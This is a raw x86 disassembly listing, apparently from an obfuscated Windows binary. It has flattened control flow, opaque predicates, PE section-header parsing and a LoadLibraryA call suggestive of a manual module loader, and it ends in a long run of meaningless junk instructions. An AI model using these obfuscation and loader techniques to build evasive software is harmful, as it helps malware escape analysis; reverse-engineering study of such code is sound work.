mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0xd7fe7668
jmp 0x402a30
mov eax, 0xa9c62617
jmp 0x402a30
mov eax, 0x5e140bbd
jmp 0x402a30
mov eax, 0x2ecfc3b1
jmp 0x402a30
mov eax, 0x53f53dd7
jmp 0x402a30
mov eax, dword [ebp - 0x88]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x48122000
mov esi, ecx
and esi, 0x97695ffe
mov edx, eax
and edx, 0x20848001
and eax, 0xab16a9d7
or edi, edx
xor edi, 0x48122000
or esi, edi
mov edx, esi
not edx
and esi, 0xe581f788
and edx, 0x1a7e0877
or esi, edx
mov edx, esi
xor edx, 0xc060708
xor esi, 0x42c0a847
and esi, 0xc3d1f8c7
and edx, 0x3c2e0738
or edx, esi
mov esi, edx
xor esi, 0x28060110
xor edx, 0xc3d1f8c7
mov edi, edx
or edx, ecx
and ecx, 0x54e95628
and edi, 0x54e95628
and esi, 0xab16a9d7
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x2bdc3d6
or edx, eax
xor edx, 0xffffffff
setne al
sete cl
cmp dword [0x492380], 0xa
setl dl
setge ah
and al, dl
or dl, cl
and ah, cl
or al, ah
xor dl, 1
or dl, al
mov ch, al
mov cl, dl
mov ah, dl
xor ch, 1
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor cl, al
xor dl, 1
or ch, dl
mov edx, 0x2bdc3d6
mov al, ch
xor al, cl
test al, 1
mov eax, 0x45b94949
cmovne edx, eax
test cl, 1
mov eax, edx
cmovne eax, esi
test ch, 1
cmovne eax, edx
jmp 0x402a30
mov ecx, dword [0x492384]
mov edi, 0x57014312
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x431c65ae
mov esi, edx
and esi, 0xbce39a50
and edx, 0x7efc427b
or ecx, esi
mov esi, ecx
xor esi, 0x410c05aa
xor ecx, 0x18401810
and ecx, 0x1a507814
and esi, 0xe5af87ea
or esi, ecx
mov ecx, eax
or ecx, 0x1a507814
and eax, 0x8103bd84
and ecx, 0x1a507815
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x35899dbe
mov esi, edx
and esi, 0xca766241
or ecx, esi
mov esi, eax
xor esi, 0x1019d84
xor eax, 0x4a744241
and eax, 0xca766241
and esi, 0x35899dbe
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0xba369ca6
setne ah
cmp dword [0x492380], 0xa
mov al, ah
setl ch
setge dl
inc al
mov cl, ch
and ah, ch
and dl, al
xor cl, al
or dl, ah
mov dh, cl
and cl, ch
and dh, al
xor cl, 1
or al, ch
xor dh, 1
xor al, 1
mov bl, dh
or al, dl
xor bl, cl
or cl, dh
mov ah, al
xor cl, 1
xor ah, 1
or cl, bl
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
mov ch, dl
or al, cl
xor ch, al
test al, 1
mov eax, 0x57014312
cmovne eax, esi
test dl, 1
cmove eax, edi
test ch, 1
cmovne eax, esi
jmp 0x402a30
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0x515982a8
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0x5204c04b
jmp 0x402a30
mov eax, dword [ebp - 0xe0]
mov eax, 0x776544aa
jmp 0x402a30
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x1bc]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0xa4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x68]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x5a0c2b5
jmp 0x402a30
mov eax, 0x661bba64
jmp 0x402a30
mov eax, 0xdfcf8ce9
jmp 0x402a30
mov eax, dword [0x492384]
mov esi, 0xf599dfc5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x155a357c
mov edx, eax
and eax, 0xeaa5ca83
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xeaa5ca82
or eax, edx
mov ecx, eax
not ecx
and eax, 0x29dd25c6
and ecx, 0xd622da39
or ecx, eax
mov eax, ecx
xor eax, 0x21402100
xor ecx, 0x4220221
and ecx, 0xcbf06e7
and eax, 0xf340f918
or eax, ecx
mov ecx, eax
xor ecx, 0x40005118
xor eax, 0x120060
and eax, 0xb352a860
and ecx, 0x4cad579f
or ecx, eax
xor ecx, 0x4cad579f
setne dl
sete ah
cmp dword [0x492380], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
or cl, ah
and ch, al
xor al, dl
or al, ch
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd751a59e
cmovne ecx, esi
test al, 1
mov eax, 0xd751a59e
cmovne eax, ecx
jmp 0x4117f1
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0
mov eax, dword [0x492384]
lea edx, [eax + 1]
sets byte [ebp - 0x7e]
imul edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xfffffffe
not ecx
mov esi, ecx
and esi, 0xfffffffe
and eax, edx
and ecx, 0x53958978
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xac6a7687
and edi, 0xac6a7687
and esi, 0x53958978
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xff8e2b10
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x863fb11c
and ecx, 0x79c04ee3
or eax, ecx
xor eax, 0x863fb11c
sete ch
setne ah
cmp dword [0x492380], 0xa
mov dl, ch
setl al
setge cl
xor dl, al
or cl, ah
and ch, dl
and al, dl
xor cl, 1
xor ch, 1
xor al, 1
or cl, dl
mov dh, ch
xor cl, 1
xor dh, al
or al, ch
or cl, dl
xor al, 1
or al, dh
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x18a4b8a1
cmovne eax, esi
test dl, 1
mov edx, 0x18a4b8a1
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x402a30
mov eax, 0xec2ad681
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xc
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x7cb390aa
mov esi, ecx
and esi, 0x834c6f55
or edx, esi
mov esi, eax
not esi
and eax, 0x7cb390aa
or ecx, esi
and esi, 0x834c6f55
or eax, esi
not ecx
mov esi, 0x7e794788
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x3055c118
andn ecx, ecx, ecx
and edx, 0xcfaa3ee7
or eax, edx
xor eax, 0x3055c118
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa64b4ebd
and eax, 0x59b4b142
or eax, ecx
xor eax, 0x59b4b142
setne al
sete ah
cmp dword [0x492380], 0xa
setge dl
setl cl
and dl, ah
and al, cl
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
mov ecx, edx
or al, ah
mov ah, dl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x32970d17
cmovne eax, esi
test cl, cl
mov ecx, 0x32970d17
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402a30
mov eax, 0x36033f71
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xdeaef109
and edx, ecx
not ecx
and ecx, 0xdeaef109
or edx, ecx
mov eax, edx
not eax
and edx, 0x75a34f4e
and eax, 0x8a5cb0b1
or edx, eax
mov ecx, edx
xor ecx, 0xab0dbe47
xor edx, 0x54f241b8
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x2c65c7c0
or esi, edx
mov edx, eax
and edx, 0xd39a383f
or ecx, edx
mov edx, esi
not edx
and esi, 0x2c65c7c0
or eax, edx
and edx, 0xd39a383f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xbe278e72
mov ecx, eax
not ecx
and eax, 0x5f7e6878
and ecx, 0xa0819787
or eax, ecx
xor eax, 0x5f7e6878
setne dl
sete ah
cmp dword [0x492380], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
and cl, al
and al, ah
or al, ch
or cl, al
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xd7d696ec
cmovne ecx, esi
test al, al
mov esi, 0xd7d696ec
jmp 0x4121dd
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe0754446
mov esi, edx
and esi, 0x1f8abbb8
and edx, 0xc02e50ab
or esi, ecx
mov ecx, eax
or ecx, 0xe0754446
and eax, 0x3fd1af54
and ecx, 0xe0754447
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x3fd1af54
xor eax, 0xc02e50ab
mov esi, 0x48722c1a
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
setne dl
cmp dword [0x492380], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xfed70e3
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x412735
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0x39c12889
jmp 0x402a30
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, 0xa215af1f
jmp 0x402a30
mov ecx, dword [0x492384]
mov edi, 0x711de1d6
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x20504884
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1787b628
and ecx, eax
and esi, 0x27d67e8c
and edx, 0x10018020
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd8298173
or eax, esi
and esi, 0x27d67e8c
or ecx, esi
not eax
mov esi, 0x4050241b
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe87849d7
and eax, 0x1787b628
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x2e319af1
and eax, 0xd1ce650e
or eax, edx
xor eax, 0xd1ce650f
or eax, ecx
mov ecx, eax
xor ecx, 0x95028a5f
mov edx, eax
and edx, 0x5028815
and ecx, eax
not eax
and eax, 0x9000024a
or edx, eax
xor edx, 0x5028815
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6d6ddafe
and eax, 0x92922501
or ecx, eax
mov eax, ecx
xor eax, 0xf02f1001
xor ecx, 0x790af5e
mov edx, ecx
and edx, 0xe50c1f8
and eax, 0xf1af3e07
or eax, edx
xor eax, 0xf1af3e07
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x492380], 0xa
setl ah
mov al, ah
xor dl, ah
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor dl, ah
and cl, dl
and dl, ah
mov ah, cl
xor cl, dl
xor dl, 1
xor ah, 1
or dl, ah
mov ah, al
xor dl, 1
xor ah, 1
or dl, cl
mov ecx, edx
and dl, al
xor cl, 1
or al, cl
and cl, ah
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x711de1d6
cmovne ecx, esi
test al, 1
cmovne ecx, edi
test dl, 1
cmove ecx, esi
mov eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, 0x128c81f7
jmp 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 2
mov eax, 0xb2b367f1
jmp 0x402a30
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
add eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xc0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, 0xfad7a295
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
mov eax, 0xcf093d40
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x34]
lea eax, [ecx + eax + 0x18]
mov dword [edx], eax
mov eax, 0x5cc18441
jmp 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, 0x331b95ad
jmp 0x402a30
mov eax, dword [0x492384]
mov esi, 0xc0d1317f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x12a460a
mov edx, eax
and edx, 0xc048131
and eax, 0xf2d138c4
or ecx, edx
xor ecx, 0x12a460a
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xe67b6b2
and edx, 0xfffffffe
and ecx, 0xf198494d
or eax, ecx
xor eax, 0xe67b6b3
or eax, edx
mov ecx, eax
not ecx
and eax, 0x820f395d
and ecx, 0x7df0c6a2
or ecx, eax
xor ecx, 0x820f395d
sete al
setne dl
cmp dword [0x492380], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa21e5d78
cmovne eax, esi
test dl, 1
mov edx, 0xa21e5d78
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, 0x77648c78
jmp 0x402a30
mov eax, 0xc9b88c3f
jmp 0x402a30
mov eax, dword [0x492384]
mov edi, 0x55c49ee4
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
or eax, 1
not edx
and ecx, 0xd0f62681
mov esi, edx
and eax, 0xf637b9d3
and esi, 0x9c8462c
or esi, eax
mov eax, edx
or eax, 0xf637b9d2
and edx, 0x2f09d97e
and eax, 0xf637b9d3
or ecx, edx
xor eax, esi
mov esi, eax
not esi
and eax, 0x14df770
and esi, 0xfeb2088f
or eax, esi
mov esi, eax
xor esi, 0x4b640
xor eax, 0xfeb2088f
mov edx, eax
and edx, 0xddf94137
and esi, 0x2206bec8
or esi, edx
mov edx, ecx
xor edx, 0x62680
xor ecx, 0x2f09d97e
or eax, ecx
and ecx, 0xddf94137
and edx, 0x2206bec8
or edx, ecx
not eax
xor edx, esi
mov esi, 0x8a7a0730
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8431daf
and ecx, 0xf7bce250
or eax, ecx
xor eax, 0x8431daf
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
mov al, cl
xor ah, cl
xor cl, dl
or al, dl
xor ah, 1
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
mov ch, al
and dl, ah
or dl, cl
xor ch, dl
test dl, dl
cmovne edi, esi
test al, al
mov eax, 0x55c49ee4
cmovne edi, eax
test ch, ch
cmove edi, esi
mov eax, edi
jmp 0x402a30
mov eax, dword [ebp - 0x84]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x3c92fe88
or eax, 1
mov ecx, edx
and ecx, 0xc36d0177
and edx, 0x7986a214
and eax, 0x86795deb
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x460dc3d7
xor eax, 0x86795deb
and esi, 0xb9f23c28
or ecx, esi
mov esi, 0xb7f1287e
xor ecx, 0x7a9f3d5e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5a47ff44
and ecx, 0xa5b800bb
or ecx, eax
mov eax, ecx
xor eax, 0x18019a40
xor ecx, 0xa5b800bb
mov edx, ecx
and edx, 0x66fe658f
and eax, 0x99019a70
or eax, edx
xor eax, 0x66fe658f
xor ecx, eax
test ecx, eax
setne ah
cmp dword [0x492380], 0xa
setge dl
setl ch
mov al, dl
mov cl, dl
or dl, ah
xor al, ah
inc ah
xor dl, 1
xor cl, ah
xor ah, ch
xor al, 1
or dl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0xca2d283b
mov cl, ch
xor cl, al
test al, 1
mov eax, 0xb7f1287e
cmovne eax, edx
test ch, 1
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402a30
mov eax, 0xf768ae8a
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x28]
mov eax, 0x1dff0fcc
jmp 0x402a30
mov eax, 0x15d82c2a
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xac20992
and ecx, 0xc42db66d
and eax, 0x31104000
or edx, eax
xor edx, 0xac20992
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc8bcb9a9
and eax, 0x37434656
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x8800880
xor esi, 0xf36ef03b
xor ecx, 0x7040083
and ecx, esi
and eax, 0x2baee883
and esi, 0xd451177c
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0xd451177c
xor edi, 0xdfc4183b
xor esi, 0x2028880
and edi, eax
or eax, 1
and esi, 0x921298b0
mov edx, edi
not edx
and edi, 0x93f9e544
and eax, 0x6ded674f
mov ebx, edx
and ebx, 0x6c061abb
or eax, esi
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x93f9e544
xor eax, 0x6ded674f
or edx, ebx
and ebx, 0x6c061abb
or ecx, ebx
not edx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xf46af0b9
and ecx, 0xb950f46
or edx, ecx
or eax, edx
mov esi, eax
or esi, 0x200680b5
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x14b0764a
and ecx, eax
and esi, 0x302684f5
and edx, 0x490720a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcfd97b0a
or eax, esi
and esi, 0x302684f5
or ecx, esi
not eax
mov esi, 0xc47bc2cd
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xeb4f89b5
and eax, 0x14b0764a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd12429dc
and ecx, 0x2edbd623
or eax, ecx
xor eax, 0x2edbd623
sete dl
setne ah
cmp dword [0x492380], 0xa
setge cl
setl al
mov ch, cl
and cl, dl
inc ch
and ch, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
or cl, ch
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf599dfc5
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402a30
mov eax, 0xaeac73c9
jmp 0x402a30
movzx eax, word [ebp - 0xb4]
mov eax, dword [ebp - 0x12c]
mov eax, 0x8acf8785
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 7
mov eax, 0xc983a701
jmp 0x402a30
mov eax, 0x1a7e56da
jmp 0x402a30
mov eax, 0x3e5cf0e5
jmp 0x402a30
mov eax, 0x13eef16d
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov eax, 0x18962c59
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xb780c91c
and edi, 0x487f36e2
and edx, 0xd598109e
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x2a67ef61
mov ebx, esi
not ebx
and esi, 0x487f36e3
or eax, edx
or ecx, ebx
and ebx, 0xb780c91c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x29da3281
mov esi, edx
and esi, 0xd625cd7e
or ecx, esi
mov esi, eax
xor esi, 0x28422201
xor eax, 0xd400001e
and eax, 0xd625cd7e
and esi, 0x29da3281
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3f68b94f
sete dl
setne ch
cmp dword [0x492380], 0xa
setge al
setl ah
mov dh, al
mov cl, al
or al, ch
xor dh, ch
and ch, ah
xor ah, dl
xor al, 1
and cl, dl
xor dh, 1
or al, ah
or cl, ch
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ah, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor al, cl
xor dl, 1
mov ecx, eax
or dl, ah
xor cl, dl
not cl
test cl, 1
mov ecx, 0x10a46389
cmovne ecx, esi
test dl, 1
mov edx, 0x10a46389
jmp 0x41283d
mov eax, dword [ebp - 0x3c]
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0xad47990c
or edx, esi
mov esi, eax
and esi, 0x52b866f3
or ecx, esi
mov esi, edx
not esi
and edx, 0xad47990c
or eax, esi
and esi, 0x52b866f3
or edx, esi
not eax
mov esi, 0x2975ebf
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x107202f8
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xef8dfd07
and eax, 0x107202f8
or eax, ecx
sete cl
cmp dword [0x492380], 0xa
setge al
setl ah
mov ch, al
xor ch, cl
xor ch, 1
or al, ch
and ch, cl
xor cl, ah
and cl, ah
mov edx, eax
or cl, ch
not dl
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x49f22692
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x2975ebf
cmovne ecx, edx
test ah, ah
mov edx, ecx
cmovne edx, esi
test al, al
jmp 0x412842
mov eax, 0x4e297199
jmp 0x402a30
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x46699492
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, 0x4295461d
jmp 0x402a30
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
sub edi, 0xc3
bswap edi
inc ebx
bswap eax
imul esi
add edx, 0x35
bswap ebx
rcl ebx, 0x8d
dec edx
mov edx, 0xb8
rcr eax, 0xc0
bswap esi
and edx, 0x73
not eax
not edi
inc edx
inc edi
imul eax
dec ebx
rol eax, 0xb9
rol esi, 0xf0
neg esi
rcr esi, 0x53
bswap edi
add edx, 0x29
mov esi, 0xbe
neg esi
imul ebx
ror esi, 0xeb
dec edx
or edi, 0xf1
or edx, 0x7b
and ebx, 0xdb
sub eax, 0x4d
add edx, 0x19
neg eax
add eax, 0xa4
imul edi
and eax, 0xc2
bswap edi
imul ebx
ror edi, 0x91
rol eax, 0xda
add ebx, 0
mov ebx, 7
sbb eax, 0x2e
mov ebx, 0x47
sbb esi, 0x81
sub ebx, 0x6c
ror edi, 0x68
dec edx
add eax, 0xa7
bswap ebx
rcl edi, 0x4b
inc esi
neg esi
and edi, 0xda
sbb edi, 0x3a
sub esi, 0x91
inc esi
rol ebx, 0x2e
sub edi, 0xea
inc eax
rcr edi, 0xf0
neg ebx
neg eax
not eax
inc edi
rcr ebx, 6
neg eax
not esi
mov edi, 0xee
neg ebx
or eax, 0x2a
bswap ebx
rol ebx, 0xf3
imul ebx
or edx, 0x82
inc esi
rcr edx, 0x41
and eax, 0x59
ror eax, 0x2e
sbb esi, 0x9c
ror edx, 2
not eax
neg edx
imul esi
mov eax, 0x6a
imul eax
bswap edi
mov edi, 0xd9
ror edx, 0xcc
imul edi
bswap esi
add edi, 0x46
dec edi
inc edi
neg esi
rol edi, 0xae
and edx, 0xec
rcl ebx, 0x31
imul esi
rcr eax, 0x7f
sbb ebx, 0x5a
bswap esi
add eax, 0xe3
and edx, 0xbb
dec esi
ror esi, 0x71
imul ebx
not edx
and edi, 0x87
imul edx
ror eax, 0xd5
neg esi
dec esi
rcl eax, 0x4b
mov edx, 0x74
not edi
sub eax, 0x4a
rcl edx, 0x16
sbb esi, 0x83
rcl eax, 0x97
sbb esi, 0xa
imul edx
not ebx
neg edi
rcl ebx, 0xf6
neg eax
neg eax
sbb edx, 0x35
rol ebx, 0xab
inc eax
rcr ebx, 0x5a
not esi
neg edx
dec eax
rcr edx, 0x28
rol edi, 0x8d
not edi
rcl edi, 0x7a
sbb edx, 0x39
ror eax, 0x85
sbb eax, 0x9a
neg eax
or eax, 0x54
ror eax, 0x24
dec esi
and edx, 0x21
sub eax, 0x37
neg eax
dec esi
and edi, 0x53
sub eax, 0x68
inc edx
ror ebx, 0xc1
not ebx
ror edx, 0xc6
mov edx, 0x49
rol ebx, 0x82
inc esi
not esi
bswap edi
imul esi
or edx, 0xac
add edx, 0xa
inc edx
neg esi
bswap ebx
sbb eax, 0xb6
mov eax, 0xa8
ror eax, 0xa0
not ebx
dec eax
add edi, 0xa0
not edx
imul edi
neg esi
imul eax
not edx
or esi, 0x19
and edi, 0x54
imul edx
rcr ebx, 0x6b
mov edi, 0x59
rcl eax, 0xa6
ror ebx, 0x39
inc edx
add eax, 0xbc
mov edx, 0xdb
rcr eax, 0x20
or esi, 0xa3
bswap esi
inc ebx
or eax, 0x15
and ebx, 0x1a
neg ebx
rol ebx, 0x90
add eax, 0x5a
add ebx, 0x19
not ebx
bswap edx
rol esi, 0x31
sub edi, 0xfd
sbb eax, 0xea
and eax, 0xf
ror esi, 0xe
ror eax, 1
bswap esi
bswap edi
mov edx, 0x5a
bswap edi
neg edx
not esi
rol edi, 0x45
mov edx, 0x81
sub edi, 0xc3
neg edi
bswap edx
or eax, 0xb7
rol eax, 0x49
mov ebx, 0xd1
neg edi
inc esi
ror eax, 0x2b
bswap edx
sub esi, 0x7a
ror esi, 0xcf
bswap esi
neg eax
neg eax
or edx, 0x64
sbb ebx, 0xc3
imul ebx
rol ebx, 0xb9
rol edi, 0x61
rol esi, 0xe3
dec esi
neg ebx
neg ebx
rol eax, 0xbe
neg eax
not esi
neg edx
rcr ebx, 0x6f
neg eax
add eax, 0x64
dec edx
sub edi, 0xc7
ror edx, 0x44
neg esi
and edx, 0xef
dec esi
imul eax
or ebx, 0xd
add edx, 0x54
neg ebx
or eax, 2
inc ebx
rcl esi, 0x73
neg ebx
neg esi
